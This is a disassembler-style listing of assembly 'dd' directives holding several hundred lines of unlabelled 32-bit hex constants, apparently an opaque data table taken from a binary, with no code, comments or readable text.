dd 0E94706CEh, 616293B4h, 0CC565D2Ch, 3328D680h, 0E878E01Ah
dd 85C5DDEh, 4811DC30h, 80836D03h, 0FEBA4609h, 58690044h
dd 9D428E82h, 0A0007801h, 55129610h, 799ED4h, 0E7AB384Bh
dd 0FFE68BC8h, 96005A7Ch, 9A7761Ah, 0C0673195h, 443BC180h
dd 350262E8h, 86DE9C24h, 16071875h, 3AB02900h, 5FB60B35h
dd 937F26D4h, 94EE9D28h, 0A060645Ch, 817721Ah, 68D81814h
dd 0D1162E14h, 443C2C01h, 0E1C4959Dh, 0D7E400A2h, 25F8905Dh
dd 7A00A855h, 73AAE0BFh, 986364h, 0E4A9C756h, 0FEC05DE3h
dd 8059EA3Eh, 0F8308F71h, 0B5A62Bh, 0BEF54C69h, 41922617h
dd 38B20100h, 0A5F67380h, 0CB2200BDh, 953979CDh, 0B7003159h
dd 3B91281h, 9D6C2Ch, 0B8FCB22Dh, 30F8AF28h, 80D0C238h
dd 6217542h, 627C64h, 2EA96AB0h, 0FC554E82h, 0FB0F97FAh
dd 60A35E11h, 8848EBA7h, 9A6A248Ah, 776100D5h, 4E5FEDDFh
dd 0BBC1D601h, 0C6F91952h, 392A6FE4h, 0C789BD3Ah, 2A089733h
dd 660280A0h, 59A582A8h, 96FD4400h, 0C3774D78h, 0F9450334h
dd 19633F71h, 50368989h, 25E8B8ACh, 0F9786900h, 0DCA44167h
dd 385501AFh, 0FD94D80Dh, 6C2886F5h, 756957D5h, 0A7A21EAEh
dd 0C1258255h, 0FA6011F8h, 0F4B228E1h, 0BBF1E00h, 0DC2090FBh
dd 0E79B00DEh
dd 0EF0DCFA3h, 14A08972h, 0D9F4910Ch, 63F3C600h, 0F95FFEE9h
dd 6F980089h, 29D61CA9h, 4A9888B3h, 0BD48718h, 0F42339h
dd 454CDAC9h, 0EE343BB1h, 68AF5E06h, 780C29h, 95A0F63Ah
dd 1E45B954h, 0D3A9B102h, 80766E87h, 3C57BE68h, 935E0074h
dd 0E65A66EFh, 3D2BFE69h, 435104D1h, 46B1C44h, 65B460ADh
dd 11C32A00h, 3EC2362Fh, 6218003Ah, 6CAD6839h, 0FA002750h
dd 0FE304564h, 39A0AD1h, 0CB0DE9DBh, 4807420Eh, 546AE7C9h
dd 88A26720h, 148C002Eh, 0DB71FF31h, 7F18CB61h, 0D1203CD5h
dd 0EE170AB5h, 7020C1E1h, 0C8C871Fh, 6838C20Fh, 0E900B1B8h
dd 0E08FAF43h, 0C4368C9Eh, 0C740BB19h, 0C6E5500Ch, 300C041h
dd 0B9444771h, 0F4B385h, 45E88BBCh, 512202ECh, 3B4B2400h
dd 40DB2765h, 0FE311EEDh, 9060152Eh, 0EABD5A1Fh, 6950F894h
dd 87001993h, 539144E8h, 0E91C671Eh, 39283E59h, 0E7376D0h
dd 14944DB0h, 8BD237A7h, 6A083B83h, 5AEE401Bh, 9EF6D049h
dd 69C00DAh, 558F69BDh, 0D0FB949Fh, 8DE03CDEh, 8066B03Dh
dd 483989E7h, 77C3E4h, 4CBD7A3Fh, 0BE940B3Ah, 6CFF741Fh
dd 0FCAF280h, 544C5AEh, 0A559E5E1h, 8B600466h, 0E70C4094h
dd 3CDB2AEEh, 0BF003882h, 304623BEh, 0F1FE2E9Eh, 8D489F74h
dd 0B9F68014h, 3CD8B2E4h, 1180C5BDh, 0ED7BDF44h, 0C3034957h
dd 20DD4E6Ah, 3FE3B0h, 928B8170h, 42F246ADh, 41A1841Eh
dd 1CB1B046h, 58035C69h, 0A16C6618h, 9400A365h, 9040F1EAh
dd 0D9B5696h, 1CB90F74h, 0C3C9589h, 0BB3DB4h, 77D78A57h
dd 6E7A25h, 870B501Dh, 818FC4FDh, 270863Fh, 4B66A6A1h
dd 10684A25h, 8B67B3ECh, 19DEB837h, 53E89E86h, 0F200A4EFh
dd 0BE99CEAh, 6930D798h, 0E3B0392Eh, 0DF060092h, 7644E69Bh
dd 0A9786BFFh, 0B4ACCC01h, 18E273Eh, 8148788Fh, 2DC8CA40h
dd 0A4A1C726h, 44A64054h, 99C00B86h, 8B913C84h, 0A0280296h
dd 4E690F99h, 21008643h, 1C6AE32Ah, 0D5B409h, 9B3723B1h
dd 0BDBCBF72h, 0C401C377h, 0B6743644h, 0D8204605h, 0B82E290Bh
dd 0E70100FCh, 82916CDAh, 590E8C30h, 4455CAh, 0BA58F8D3h
dd 82BFCF7Dh, 9E4080F3h, 5B13FBE7h, 0C28C3E5Dh, 321AE38Ch
dd 7C788551h, 6C686902h, 0FF1F59DFh, 0E01CED60h, 92395D3Ch
dd 402131B0h, 4910938Dh, 34608CA1h, 1548F81h, 511B24D5h
dd 0B21F0A64h, 0C09E46F4h, 661410E9h, 6E6009Ch, 0B0BAE3CDh
dd 0DC9041E2h, 692F6930h, 0B7373Ah, 86C5D89Fh, 446246D5h
dd 50487300h, 0AEE48495h, 1834980Dh, 69301CF5h, 78008C87h
dd 0DD8F6E08h, 0E08AA397h, 6290591h, 673637C8h, 8109E8h
dd 76A7C49h, 9E400364h, 1B4675C4h, 0B0CD113Eh, 323A1925h
dd 3E15F2A6h, 49809F59h, 455EBEDh, 5A24B2B3h, 84442CA5h
dd 37374C8h, 2AB8FB7Fh, 3298F38Fh, 6C29FC1Eh, 0D20FC019h
dd 8C174091h, 20662009h, 0A802213Bh, 0FF398A36h, 0FA78A07Dh
dd 0A62F815Ah, 1C6D44C8h, 0B200DC91h, 0E9609747h, 90140F5Fh
dd 0EB43F588h, 39006B66h, 0E32CC47Ah, 97FCDh, 36AD87DEh
dd 949D77FCh, 1BB88A8h, 93B02288h, 22C41F08h, 1CB2DD26h
dd 8943158Ch, 0D7BA5013h, 9C1A0172h, 0E9FA8267h, 0DCD6C8CEh
dd 7E09E578h, 8147A18Bh, 8CD2E884h, 0A0441D6h, 24180115h
dd 30C3DD18h, 0E0043E82h, 1E1A2764h, 31F83CC6h, 5AA194BAh
dd 8891EAC6h, 55026B8h, 127751A3h, 0CA6FF80Ch, 8F28C0D2h
dd 0A21C94A8h, 5527D0F7h, 1F480500h, 0D97C3BCBh, 7D030310h
dd 0B66E3685h, 0C2FC29C9h, 59FD90B0h, 40318C26h, 0A122D764h
dd 364898B0h, 2F602E78h, 0D02ACC21h, 0A1582C27h, 0C6060034h
dd 5001F5E7h, 0E8EE6729h, 5AD3B51Eh, 4E3AB800h, 4D5B72D8h
dd 0F2800C4Dh, 4F256E41h, 58314706h, 2CE11C81h, 80540A84h
dd 0C8D1BB83h, 8500A529h, 335147FFh, 1F2435F2h, 418B1B4h
dd 0CCD3A259h, 0E54C0F18h, 18EE8F2Ch, 1730991h, 0CC11C681h
dd 26011E14h, 0C48840A0h, 0E8404344h, 39F0104h, 0A075F368h
dd 247030B2h, 98CDEA26h, 692108h, 16EE36Ah, 5E003FC4h
dd 0A32CF204h, 4C7FEF44h, 0E8443023h, 46B1241Ch, 0BE0F8670h
dd 74F641E7h, 0F305089Bh, 0F88CCA5Ah, 198B3B8h, 62AD452Fh
dd 1EDA0134h, 80336901h, 39371431h, 27D18BEh, 0C155FC8Bh
dd 83C00B34h, 0B905CE03h, 0E80CF7A1h, 344564CDh, 9E145804h
dd 44B3949Ch, 9499846Ah, 2CF46700h, 50CC140Bh, 0DC5466h
dd 4945B324h, 0FB4AB261h, 3A04CD13h, 91700408h, 49F3830Bh
dd 0FB44C863h, 74EA00A1h, 0CCF0E64Ah, 2E28A4ADh, 20E57C9Ch
dd 3340F55Ch, 195760EEh, 0E5E4E37Dh, 87964F00h, 0C4A02DE6h
dd 0ECFC572Eh, 40E41B26h, 752274F7h, 76007598h, 0D9F5B677h
dd 0F565FABFh, 16DD7460h, 21C859E9h, 0DD5307CCh, 5898618Bh
dd 0B7513000h, 0B10CC050h, 29A83752h, 9A00F41Ch, 0C5C16794h
dd 0AA4005EFh, 28B2EA77h, 4A601CF8h, 4BED8131h, 6DE077Dh
dd 0C3C1C4F0h, 69035EEBh, 41937B4h, 0D561F8F1h, 0F53E005Dh
dd 0DF49209Fh, 935CE24Dh, 9EF0169Ch, 331B1461h, 90648050h
dd 6C98B1h, 5FE6B6A6h, 0A5AAFFCAh, 0BB1224B3h, 32AF5432h
dd 52EA8C69h, 0C931B910h, 0C934BADCh, 446E948h, 30CCB85Ch
dd 52D8901h, 0BCD05A85h, 0E15830F1h, 0AE1B20h, 0E1364531h
dd 0C3935FB7h, 533D347Eh, 6D688556h, 58D2EF5Dh, 9002270Eh
dd 767DCD05h, 9F5D6702h, 41FB42B0h, 5030228Ch, 5952800Bh
dd 32B6E1C7h, 1BEC8DC8h, 0BEB0F149h, 70D05789h, 0D715E700h
dd 20E8C9C8h, 3F482EEDh, 881A45D4h, 0FD00AD1Ch, 4A5F7118h
dd 0E08437h, 0B3831F42h, 0C0DF3DEBh, 3C59CCAEh, 4AB0C5E0h
dd 0A6942C05h, 0BBE9B840h, 9057BBDh, 1ADF44C6h, 83A00813h
dd 3400C592h, 0FC284694h, 0E026AA2Ch, 8D070B2Fh, 20319EEFh
dd 254C6466h, 0E4540098h, 0C67B1CDCh, 4C0195EEh, 73761DC5h
dd 8FED57B3h, 582159D0h, 0E4C40CE8h, 26D4A2D0h, 903E1839h
dd 8F11876Eh, 0A0352644h, 0AE6FD826h, 80DE0021h, 148B6D33h
dd 0CC1E8673h, 100AD611h, 199F02E5h, 48EEA1EBh, 39F04BB0h
dd 0DED5D700h, 860F2FFCh, 0AA79028Bh, 31C4DD6h, 0F40C306Ch
dd 8112BD5Ah, 0F4335484h, 0AACB00B2h, 1951614Dh, 0C30053E5h
dd 85F81EEEh, 5FE4CB1h, 5D39A090h, 0FE8CCEAh, 7EF51400h
dd 0AC9A5F78h, 5C2902E6h, 32335E2h, 0EE52ACCCh, 534B00D0h
dd 5875A9B3h, 0B8E30F5Ch, 90789ABh, 0B4B069F1h, 948431C9h
dd 0CD8B8034h, 7EBC70B6h, 0C98D3500h, 0D0ABB25Fh, 7FC0B81Ah
dd 0A470B91Fh, 0DA309B4h, 50842C28h, 0F4B1688Fh, 0E0572980h
dd 2C7AF395h, 0E2388B2Fh, 3A2B9366h, 0BC4618h, 8CD8D230h
dd 0E0D45AEAh, 93AD2602h, 19A58D33h, 21872EEh, 39B5F8D2h
dd 0A01070AAh, 0B2E60468h, 809C96A4h, 40B70A94h, 0EF00D8E3h
dd 18D23506h, 304BD9h, 0CAC9CC5h, 0B678E43Ah, 0E01D694Bh
dd 39B84958h, 4920608Ch, 19E661CCh, 25DB4A00h, 0C67EB31Fh
dd 0F5491EA9h, 0DEA601BEh, 251D7FCBh, 0CAC0603Ch, 211E4622h
dd 0CE12329Fh, 782D2D0Ch, 265CBB5Bh, 56006988h, 40449E27h
dd 0B8BE63Fh, 83A56EBh, 1C70A410h, 704C94AFh, 610F8148h
dd 0A014BB54h, 0E3FCEE98h, 0A493D0h, 8CC5489Ah, 7504FA8Eh
dd 686F93D2h, 0A0BBBCC7h, 59BBB1C0h, 0E4B4523Ah, 602EEE15h
dd 1E6E4080h, 5E09C135h
dd 98E42273h, 0D3B82Ch, 6CAF1DCAh, 0D4CE871h, 0B43BA404h
dd 28E33F74h, 2480004Dh, 0F0577EE8h, 8D3430F9h, 2516669h
dd 71B17224h, 7369338h, 2BAF0C10h, 3F5A9C10h, 3852A600h
dd 84E1A89Bh, 548C5CA1h, 2820AD8Fh, 73D5DBAFh, 0DD6E0577h
dd 0EE1851F8h, 8952713Bh, 0FBFD3100h, 757F1798h, 0A0345469h
dd 19F900B4h, 8D579925h, 9A021CF8h, 93B60C40h, 1F3DE1ABh
dd 2BC8BC38h, 52017924h, 22BD0CC1h, 5CEEF18Ch, 27E0F071h
dd 5900BC71h, 4A612D0Ch, 186AB7CDh, 48D2A96Dh, 29047BDFh
dd 73EB075Eh, 9CFD9498h, 592118B0h, 2400AC54h, 150398A6h
dd 0BCB2BBh, 2C743E94h, 0B08B3521h, 38129E4Eh, 6FEC0889h
dd 3E2B8h, 0E39A7604h, 74F3D3BFh, 73023E1Eh, 0B08D8927h
dd 436AC08h, 0EFAA0605h, 4277C492h, 2F8D3058h, 8F25844Ch
dd 0C81038C6h, 512E8864h, 5A313661h, 19A748C6h, 0C0224484h
dd 41A1D3C5h, 20A160A4h, 0E0301423h, 1ABD72Eh, 91DFCF58h
dd 0EA6628B8h, 88A54523h, 0F1ECDEh, 0CE4C8430h, 51F93104h
dd 0A45C6415h, 9E760070h, 0E1FEE9E7h, 7A13000Eh, 3621D1A1h
dd 0AC2C7B1Ch, 68EAC83Dh, 0EC267F01h, 0E6EEE070h, 8F9E0924h
dd 60834A2Ch, 0A9005519h, 62203AF2h, 610892h, 0EFB564EBh
dd 0C31B5930h, 0CCFBBE00h, 0E6B0BB0Ah, 0ECF1C840h, 9F64B58h
dd 0F9701612h, 0D8CF7205h, 1C26F440h, 5B871811h, 0E307BB7h
dd 0CC91ABh, 5CEA4D72h, 714C6F7h, 9502CDF2h, 635A0E8Bh
dd 1CD959h, 4EED7BDDh, 7450B0F3h, 9102328Ch, 85C95C81h
dd 4A2C7BA1h, 0AB486074h, 0B5004799h, 0EB2A1727h, 30FA88DCh
dd 84A10E1Ch, 4256156Bh, 0E8E0268h, 4396E692h, 0C8A4F408h
dd 0D3B6A150h, 1DE5220h, 7CF2EEA0h, 0EE171844h, 0E5D814C0h
dd 1C383781h, 0A48507C5h, 910E20A4h, 534DD8B7h, 0DE5A0C03h
dd 0AF21B8C7h, 41E09EDCh, 2266030Ch, 0E1FD0098h, 0F0519F3Bh
dd 23C400BCh, 0B0A66196h, 3E3CC25Dh, 0AE391786h, 2CC87812h
dd 1380932Dh, 6BACD01Bh, 9FE00601h, 0D07CFE0Eh, 2138A15Fh
dd 74343407h, 1C11EBC2h, 1B1C47B1h, 6D038C68h, 90937500h
dd 2EA5DFA2h, 4D204F8Eh, 0CC310F8Ch, 567F51C0h, 5E791600h
dd 0A281996Eh, 8DA817A0h, 38A81ECCh, 0C000459h, 37975F7Eh
dd 0C74D1596h, 8428896Ch, 0E4A447F0h, 0E9D244EBh, 92589C02h
dd 4E23159Fh, 0C3E40190h, 2DBDAB5Fh, 86EFE24h, 0F0A90B79h
dd 46598F3Dh, 1D30E49h, 0B6B0BAC6h, 2422FC24h, 44D466A7h
dd 0D244C171h, 157BFC4Ch, 0E828FB8Ch, 21039C8h, 1CE96931h
dd 7A702DE8h, 803B74B9h, 0BD319C45h, 3055EB09h, 3F50BC5Ch
dd 975DB41Ch, 0EC84501Ch, 5777590Ah, 0B2E090C3h, 0E66F4EE9h
dd 0E49E0173h, 0D0059295h, 5110942Dh, 496480E8h, 0F5EA1BFh
dd 0C3389CA8h, 0C652B001h, 0ADE4EC74h, 26F6E0A6h, 2B8B2C1Ch
dd 0F394A200h, 50E83B3h, 1A88ED3Dh, 88F0A79Eh, 68034132h
dd 3CE7C406h, 700B787Fh, 46FF74BDh, 54C909CCh, 4600D410h
dd 59C2B3AAh, 4E66E839h, 6948C802h, 0CA98A32Dh, 1E37D8C1h
dd 0D3E20770h, 5E8AEE5Dh, 0BC804D01h, 0CE20221Dh, 9E0691DEh
dd 0F049DCF2h, 719CE503h, 2D7DA93h, 7CB6CAA9h, 0C441CACh
dd 0C3064AF0h, 0C7273470h, 8090B1B8h, 756EEB1h, 0A317CD53h
dd 1C61B2AFh, 0C0326330h, 0DA6C205Ah, 2C3DED0Fh, 2B2F9F7Fh
dd 436BB4C0h, 0BACD26ACh, 72374534h, 55650064h, 232E9912h
dd 70FF00A7h, 18421B36h, 25FAC49Fh, 0C16E1C0Bh, 0D5D06811h
dd 74A98ADh, 0C706D3E6h, 11F9D1D0h, 52D98349h, 0B7B10F24h
dd 3B7B5150h, 4ADE023Eh, 0E466ECA1h, 906788D9h, 0CFDF810Bh
dd 4C213E7Fh, 48DF643Ch, 0EA0A69D2h, 9FC484D7h, 6C0630A3h
dd 89A55AACh, 4827EAF8h, 0DD28201Bh, 5A91973Bh, 0EE5C2119h
dd 8347C866h, 0F54A0600h, 289EC7DDh, 0E00F1681h, 871412D7h
dd 1BB95C2Ch, 0A2F4E0A4h, 1241313Fh, 24A41983h, 0E5CF136Ch
dd 5C110078h, 60D43829h, 4A819A1Ch, 0EBCBA65Dh, 4640B2A2h
dd 0F6740080h, 3B22CCB3h, 0ECF6E3F0h, 39E4BC1Fh, 0FC886993h
dd 25BA5A30h, 0B1906288h, 3E00A479h, 50966FF9h, 0E6530108h
dd 5AB170F7h, 80B87C8Ch, 338174ADh, 51790590h, 0C16AC646h
dd 680DC4h, 0DDB857h, 0B2D3CA4Bh, 0CEC8F97h, 5C66E50Ah
dd 49918839h, 0F4EDF600h, 4051C49Ah, 9B12A90Bh, 0A58187Ah
dd 5F6E0238h, 583CD28Ch, 34159471h, 0D0C292F8h, 3BB4E553h
dd 0B9D21898h, 0C89CBB20h, 686694h, 5DC9B3ABh, 258D616Dh
dd 1C84E49Ch, 8595402Fh, 1D1AD4BFh, 805DBACEh, 0B7A459A3h
dd 0A898156Ah, 1101B920h, 0C11B1h, 0C4C0A766h, 0B096D7h
dd 0CA1A1363h, 0A0D058A9h, 5B3F5A0Eh, 687E8ADEh, 89C3390Fh
dd 430C44C6h, 26CA2163h, 0A2A5C400h, 5E5800D0h, 84F8AA7Dh
dd 3E15E631h, 9C80CFB7h, 4B370B7Ah, 227A91BBh, 50FDA32Ch
dd 0B9C898E9h, 7D0500E9h, 571E1143h, 3D0560DAh, 8D89830Dh
dd 5B352898h, 0D85448D1h, 1DC75985h, 0B82EB842h, 1B1C232Ch
dd 0F3EA6100h, 32F5D8EBh, 465B001Fh, 19ECBD11h, 0D0392207h
dd 0B38097A9h, 3DE0E460h, 7810959Fh, 7B00B5F3h, 0B0DF9C03h
dd 4C2E8D38h, 0AE00609Eh, 83ADA80Eh, 0B24BD539h, 54862432h
dd 73AE8EC4h, 23614F23h, 12FFD7B8h, 1549E913h, 1ADF1460h
dd 4AD8883Bh, 693C4F7Fh, 0CB1B9231h, 21A01037h, 1930475h
dd 15673DB6h, 0E4F4EB99h, 0F4BCBC01h, 13815804h, 0C400A8F7h
dd 6CF870DAh, 7400CC60h, 1347E51Ch, 12E0378Ch, 80CAAA2h
dd 1443A130h, 0D3FE3943h, 7382EAB8h, 78DD7FCBh, 3308C871h
dd 60B894E5h, 8C01F053h, 5E9BE2B2h, 0F147D85h, 201B2A9Dh
dd 7C78B692h, 0A7A300C3h, 217F077Dh, 1D13C1B7h, 848CD38Ah
dd 64855004h, 0CD3A00E1h, 99FBD74Ah, 0D200C3DCh, 3B4FB5AEh
dd 74CAC8F1h, 6BAB0991h, 58106602h, 0FA00E979h, 9DE7A2EDh
dd 0FAF29A96h, 0A1344C4Bh, 0ACF3433Fh, 68375DE0h, 0C9C30F85h
dd 801C3C24h, 2EB9F116h, 2AC005Fh, 26EAFB09h, 6A0419CFh
dd 9D164DDEh, 39FF090h, 0E4EC53BAh, 34711100h, 0D58FAD17h
dd 74601F4Ah, 0BEBA2EA1h, 3C4983D0h, 5C1C816Ch, 36C06279h
dd 0BDBCB307h, 13FE4F58h, 0E348D0D0h, 8E00C174h, 0F3A3AC40h
dd 3D937EA8h, 68D9D098h, 9418F789h, 3300E330h, 1975C8FEh
dd 358F4Bh, 1C873FD8h, 253963Ch, 0E6E44201h, 22D2A852h
dd 4444092Ah, 0CDB04C48h, 0B6DC1C88h, 0C88C4444h, 58FAA6D4h
dd 4F367300h, 4BA96B50h, 0A4405D4Ah, 0F4278B7h, 1000F1C2h
dd 74C296DEh, 0C19051ECh, 5048BDBBh, 137BDF90h, 94413800h
dd 50E681CCh, 0DC31953Fh, 580C76h, 29259620h, 42D0D16Ah
dd 9BAC9F00h, 999DB7C7h, 353E0064h, 659C2F52h, 60032178h
dd 40851DFAh, 76BDC0E2h, 75693EA7h, 0AE201A37h, 80B6BF87h
dd 0E1816E7Eh, 820162FEh, 65B48D24h, 7AE402BCh, 4031C1A2h
dd 8315FB53h, 59224F41h, 0CBCBE318h, 707C70h, 33DA2954h
dd 0A982036Ch, 0DC7B2800h, 0A8D5831Eh, 0E10E00FAh, 0C41BD884h
dd 643EF5DDh, 69CC05FDh, 3440A9A3h, 730A04C1h, 418F3C81h
dd 79F2FA19h, 0B803E5DAh, 63C828h, 48AF97D8h, 760D7BE6h
dd 0E10901C6h, 6077B229h, 0A399A885h, 981C27FCh, 0B8D6BCEFh
dd 7C739900h, 63A4B621h, 8461887Bh, 19223100h, 0DB76CED1h
dd 3E12001Dh, 371E3A8Fh
dd 65526F1h, 39888B0h, 11280D61h, 0EFD5F0C1h, 0AC350928h
dd 4129F5F9h, 44F4F318h, 0B5780064h, 4A954964h, 0B279CE03h
dd 287B9E8Eh, 44A08389h, 69606102h, 8DF22819h, 6181CF9h
dd 8F1F007Bh, 5445B89Dh, 0AEFD2B00h, 8C264484h, 53660AF9h
dd 3D3C3E05h, 0A307C244h, 10BC36DBh, 1D5C8EC0h, 65820087h
dd 2F1E301h, 4D00F45Eh, 0BFA7E986h, 0C672808Fh, 51EF9381h
dd 0C062A900h, 7C5F95EEh, 1C2249F4h, 80A7A610h, 47E83472h
dd 11B7BFDh, 24296DDh, 136F61A9h, 4E0A9030h, 8E7EF1h, 0E059A07Fh
dd 5A2A8778h, 0C1A8032Ch, 0A45315h, 6B128D14h, 96B46Ah
dd 31EA2881h, 0A3A2E564h, 22CEE31Dh, 60C6BF00h, 0FA96C9h
dd 316D6EF3h, 4B77F992h, 4446EC14h, 912F05D0h, 6C086682h
dd 0CF3080FBh, 0B1E28D43h, 0B8268C05h, 0CC20978Eh, 0F3325A7Fh
dd 608992CCh, 412B9902h, 0B10AC59Ah, 885E50E4h, 397A3C1h
dd 80278301h, 52C2CC31h, 0EE588FC8h, 0B8D90076h, 538A3497h
dd 8209957Bh, 180E2A75h, 0C0FC93C8h, 0E770BDA1h, 4405194Bh
dd 628B8848h, 7B8E9447h, 93CA3240h, 528F016h, 842A808Dh
dd 1F704F02h, 0E7980E80h, 0E53A22C9h, 478C9FD5h, 462E68B2h
dd 0C6260414h, 0C0913601h, 59D86250h, 55F94D00h, 4E90E799h
dd 84DEA0FFh, 2901E05Fh, 0AB948B91h, 0EE5306B0h, 1E538122h
dd 33E226Ch, 0BEDA557Ch, 2AE0A6D9h, 9C3CCAC5h, 0E8F40789h
dd 48814194h, 8E4083AEh, 0C440BBC1h, 88DD26F8h, 0D500FACCh
dd 139B6B6Ch, 79DB64h, 813B5E5Dh, 667329EFh, 0DC1E6E03h
dd 5048B445h, 4527E080h, 2DF8D3FAh, 9331E458h, 0CD5099F1h
dd 0A7AAE0h, 67741924h, 21209518h, 689BFC7Eh, 5A83E780h
dd 14B77A3Fh, 88998EB1h, 0ECE48088h, 4F0208CBh, 11FB434Bh
dd 0D56E7FE0h, 18E4F648h, 0E0A10B83h, 36120938h, 0C0800351h
dd 196EF031h, 23703248h, 78300074h, 0B08BF1E1h, 789980F8h
dd 0D3B2ABE0h, 82E100AAh, 0EC98F835h, 0B7122263h, 0D822DC7Ch
dd 0B29D8936h, 23BC0220h, 75202C19h, 80740684h, 367AC9EFh
dd 14222828h, 0D6FA3106h, 90D8F3D4h, 4CEF108Ch, 3B2A0261h
dd 4C83817Fh, 0DA311148h, 4EA900A2h, 77B07EA7h, 6CD00554h
dd 0C0976FE1h, 4176194Ah, 0CD05F901h, 0DE0EE75Ah, 8335D9EBh
dd 9329C826h, 30FE00BCh, 7A38FDC3h, 0B52A731Dh, 0A840140h
dd 14D925A6h, 9460E81Fh, 516F8780h, 3D030844h, 1D555436h
dd 30B6FA6Ch, 0E00369FAh, 78A37F79h, 6081BA5Eh, 8080BAE4h
dd 0D099AF36h, 903D1D82h, 598520FAh, 0BA3BB79Ah, 4DEB8E8Ah
dd 0A8020477h, 1168C0C2h, 0EC4110F5h, 0EE1200C1h, 0AE44894Bh
dd 790CAAD4h, 601914DFh, 40814891h, 3DC060D2h, 7950B276h
dd 8188C1D4h, 1450407h, 8C4C3B4Bh, 0EC936424h, 81017028h
dd 90255BDBh, 18106ED6h, 7F2C5889h, 0D30A299Dh, 3E115863h
dd 15E4990Eh, 0A33D2320h, 34C9AD8h, 5D5F001Ah, 13A4D654h
dd 16AD2467h, 19326154h, 724832CEh, 68ED590Fh, 0F8E1C03Dh
dd 3E5030Bh, 6F6453EAh, 0CB801DC7h, 0C4B3407Fh, 418EDA0Ch
dd 0BD9A002Eh, 31BED490h, 0C015A87h, 409C4E3h, 3440D0A8h
dd 329109Fh, 0CD1DE679h, 1E90B90Ah, 0B30207FEh, 0D91B166Ch
dd 0A2EC840Dh, 6C163D49h, 0BC5B0D2Ch, 522539E0h, 0C5700C6h
dd 3E17B6Fh, 8003FF8h, 0CA7A6CDFh, 4CB088CBh, 0D78228DCh
dd 0A0A0F993h, 361666Bh, 8CCB4803h, 0E0C81D10h, 910FF105h
dd 0ACEC20B0h, 1C9A4800h, 0E0AD6FB1h, 5413C51Ch, 3B095B02h
dd 9038B2B1h, 895428F0h, 0F47261h, 9FD657F1h, 2488211h
dd 0DC7A727Ch, 6103814Ah, 9529076Ah, 7004E6DBh, 0A9D2E594h
dd 0B084C200h, 0A367EF8Dh, 0A1BE2E2Ah, 4FE960D4h, 29021BBFh
dd 35EE1EE0h, 0CCE8C297h, 0FA1D0768h, 60C79294h, 0F39FF10h
dd 11F18F0Ah, 6911545Dh, 884C800h, 14E37DA0h, 5C6EDD0Fh
dd 0EF6B41A8h, 94261BB1h, 0AC9A4002h, 98E14D24h, 82DF1716h
dd 936F0432h, 9131C18Ch, 9B48A462h, 90050800h, 1665422Dh
dd 89C499EAh, 3CC0201Ah, 4CF11969h, 18C994DBh, 53A61C04h
dd 42F10408h, 70000390h, 0AA4FB6h, 0E7242AEEh, 81B5535Ch
dd 0E365CA0Bh, 0D73819C3h, 0D2C7C000h, 2A82CF18h, 624469h
dd 868E3EAFh, 11378384h, 97D35A02h, 597441EAh, 0AADA8900h
dd 0E2755020h, 72001349h, 469ED1D0h, 48A2352h, 0FFF37B0Fh
dd 1170A62Bh, 7C490DDBh, 79F8E202h, 58C488B2h, 0B3553E0Eh
dd 0DB7C4585h, 9BCC7001h, 2ECC16EDh, 45670307h, 0EF66D139h
dd 2841DDE2h, 0F053104Eh, 0D4638236h, 61225BE2h, 38B4A06Bh
dd 8E5EA3h, 4E416F37h, 34778B58h, 45E7BA01h, 0E928E4B9h
dd 2D072863h, 0C0FC031Eh, 716127D2h, 0A60549C0h, 123ACEC6h
dd 61FD451Fh, 51D47410h, 68602A7Ch, 78612C74h, 579DDC2h
dd 71382729h, 0E86F032Bh, 3149195Eh, 2E8386D0h, 0EF160ED1h
dd 0FFE0445Ah, 3435BE8h, 0F24F0E00h, 0D13EC074h, 25A125E3h
dd 68000816h, 0C94AF1CDh, 246F6344h, 102CAEF6h, 0A9A48C25h
dd 7B5EAEEh, 0A3D33456h, 0A1425EAAh, 0C446CB16h, 8BCE6E04h
dd 74C01C3Bh, 0E0BEAE37h, 2034B859h, 734631B5h, 2883680Ch
dd 0AE00E2C9h, 3AFF5D81h, 2EA3B7C8h, 5A3B9Ah, 0DDFB19A4h
dd 8E041810h, 27F183B4h, 0EE53A0A4h, 81B1CB17h, 5066EC89h
dd 0F4B2202h, 6CF8D875h, 7F400954h, 146020A9h, 0E991D0h
dd 435F04h, 0E16B38CEh, 0D6776569h, 9809352Eh, 6021A19Dh
dd 33E17366h, 4237AA00h, 7B8E8280h, 4420B976h, 0C97340EDh
dd 3548AEBh, 0E8EECF41h, 0ECF0928Bh, 7D3A5FFCh, 581D294Fh
dd 478C824h, 0D84F00E4h, 7AC8E7BFh, 79EC255Ah, 0AD1DD0B1h
dd 0FF882AA2h, 90520F98h, 8627A80Fh, 6C8BF0F2h, 0F84DBFDEh
dd 0FA4F8798h, 5A82DBF2h, 72DD3BA0h, 8A1B3880h, 0B5BDB4A4h
dd 0F3F52403h, 0F009832Fh, 30BF2927h, 0C5A96C60h, 0B325FE8Eh
dd 31201807h, 0C4E89681h, 0A08D4E73h, 161D5D9Ah, 0C42513C1h
dd 0CE844F7Dh, 65001AC8h, 0D26B2368h, 0E78207D4h, 0B00C3FCAh
dd 0CDA1BFB0h, 17665D07h, 0B9BC23F1h, 40EE4F53h, 8D288240h
dd 844B2BACh, 87E42030h, 8040057h, 55DC0D4Ch, 0CF00F89Eh
dd 141CA45Ah, 4AD72F06h, 1DD83019h, 88487618h, 835B83C4h
dd 0C0DEB039h, 0D1A1009Eh, 0A772116Eh, 0B7FAB004h, 0D9DA972Eh
dd 4151D700h, 3B2B1B87h, 4701E25Ah, 0F118CF95h, 51C86329h
dd 77F8D95Ch, 719A11CCh, 34A66913h, 81349824h, 1B5EE100h
dd 1A4CEAA3h, 0F9DE264Bh, 12A91B0h, 2E95E065h, 1DC49E3Ch
dd 0F7380201h, 840B9FF8h, 2AC49482h, 0A57A6901h, 80916985h
dd 6F40086Eh, 94D8E644h, 1DD8A4DBh, 0C04A08AEh, 0B75C3652h
dd 5000D5F1h, 7955AABFh, 71C34529h, 9C700410h, 8C60F4ABh
dd 14938398h, 873A6691h, 0F7291809h, 3A744482h, 0CB1F0640h
dd 21E7D25h, 99988E50h, 0B837A394h, 2AC1E521h, 872821Fh
dd 4CF16707h, 0CB62F39Fh, 932842E0h, 22D04D00h, 44812653h
dd 0E1E60356h, 51BDE92h, 94C8A4FCh, 0C5A0A21Ch, 0AA0B5C44h
dd 61274CA3h, 5E1388A1h, 0B82ADCF8h, 0F0FC1C04h, 40A67CA9h
dd 900BA222h, 81F91C2Fh, 0B4D2087Ch, 62D0B470h, 9E8021A4h
dd 7A585860h, 0B6CDA905h, 8881D107h, 78815B81h, 41AE05FAh
